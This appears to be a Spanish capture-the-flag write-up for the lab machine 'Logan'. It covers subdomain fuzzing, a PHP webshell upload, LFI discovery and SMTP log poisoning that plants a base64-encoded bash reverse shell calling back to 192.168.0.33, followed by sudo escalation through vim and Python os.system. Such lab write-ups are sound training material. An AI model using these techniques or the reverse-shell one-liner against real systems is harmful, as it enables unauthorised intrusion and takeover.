====== Máquina LOGAN ======
Hacemos el reconocimiento con nmap:
{{pasted_image_20231015104825.png|}}
Si intentamos acceder al puerto 80, vemos que se está aplicando virtual hosting,
por lo que tenemos que añadir el logan.hmv al ''/etc/hosts'':
{{pasted_image_20231015104929.png|}}
{{pasted_image_20231015104958.png|}}
Y ahora si nos funciona la web:
{{pasted_image_20231015105019.png|}}
Hacemos fuzzing para ver si encontramos algún subdominio:
wfuzz -c --hc=404 -t 200 --hl=1 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.logan.hmv" -u 192.168.0.37
{{pasted_image_20231015105839.png|}}
Y añadimos el nuevo subdominio al fichero hosts:
{{pasted_image_20231015105914.png|}}
Y esto es lo que tenemos:
{{pasted_image_20231015105937.png|}}
Vamos a subir una webshell dentro del apartado para subir archivos, por lo que
usamos la de pentest monkey:
{{pasted_image_20231015110229.png|}}
{{pasted_image_20231015110104.png|}}
Una vez subido, tenemos que encontrar donde se guardó la webshell, por lo que
haremos fuzzing, donde vemos el directorio payments:
{{pasted_image_20231015110321.png|}}
Y nos encontramos con esto:
{{pasted_image_20231015110442.png|}}
Y esto en el payments.php:
{{pasted_image_20231015111111.png|}}
En este input vamos a hacer un ataque de intruder para ver el payload que
tenemos que utilizar para explotar alguna vulnerabilidad:
{{pasted_image_20231015111342.png|}}
Donde tenemos que meter el siguiente payload para explotar un LFI, por lo que
usamos este diccionario:
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt
{{pasted_image_20231015111556.png|}}
Y ahora lo cargamos en burp suite:
{{pasted_image_20231015111650.png|}}
/etc/passwd
Una vez que ya sabemos que tenemos un LFI, podemos intentar en hacer un log
poisoning por el puerto 25, donde fácilmente podamos acceder al directorio
/var/log/mail:
/var/log/mail.log
{{pasted_image_20231015112723.png|}}
Por lo que vamos a hacer un log poisoning al puerto smtp, donde en esta web
tenemos unas instrucciones:
{{pasted_image_20231015112417.png|}}
Donde se nos dice cómo debemos inyectar un comando:
{{pasted_image_20231015113537.png|}}
Por lo que buscamos el one liner de la reverse shell y lo codificamos en base64:
{{pasted_image_20231015113615.png|}}
{{pasted_image_20231015113800.png|}}
L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4wLjMzLzQ0MyAwPiYxIg==
Y ahora con telnet nos conectamos y ejecutamos los siguientes comandos:
telnet 192.168.0.37 25
MAIL FROM:
RCPT TO:
{{pasted_image_20231015115113.png|}}
Y ahora si recargamos la página principal inyectando nuevamente el payload para
ver el fichero de logs del puerto 25, habremos obtenido una reverse shell:
{{pasted_image_20231015115136.png|}}
{{pasted_image_20231015115120.png|}}
Y vemos que si ejecutamos el comando sudo -l, podremos ejecutar comandos con vim
como root:
[[:computing:hacking:escalada_de_privilegios:linux:14_Escalada_de_Privilegios_con_VIM|14 - Escalada de Privilegios con VIM]]
{{pasted_image_20231015115323.png|}}
Por tanto ejecutamos el siguiente comando:
sudo -u logan /usr/bin/vim hola.txt
Y ponemos lo siguiente:
{{pasted_image_20231015115631.png|}}
Y ya somos el usuario logan:
{{pasted_image_20231015115648.png|}}
Si volvemos a ejecutar el comando sudo -l, vemos que esta vez con el usuario
logan podemos ejecutar un script:
{{pasted_image_20231015115723.png|}}
Y lo que nos permite este script es ejecutar un one liner de algo de python, por
ejemplo un print:
{{pasted_image_20231015115909.png|}}
Lo que tenemos que hacer es importar la librería os de python y ejecutar algún
comando, que puede ser lanzar una bash como root:
print(__import__('os').system('bash'))
{{pasted_image_20231015120412.png|}}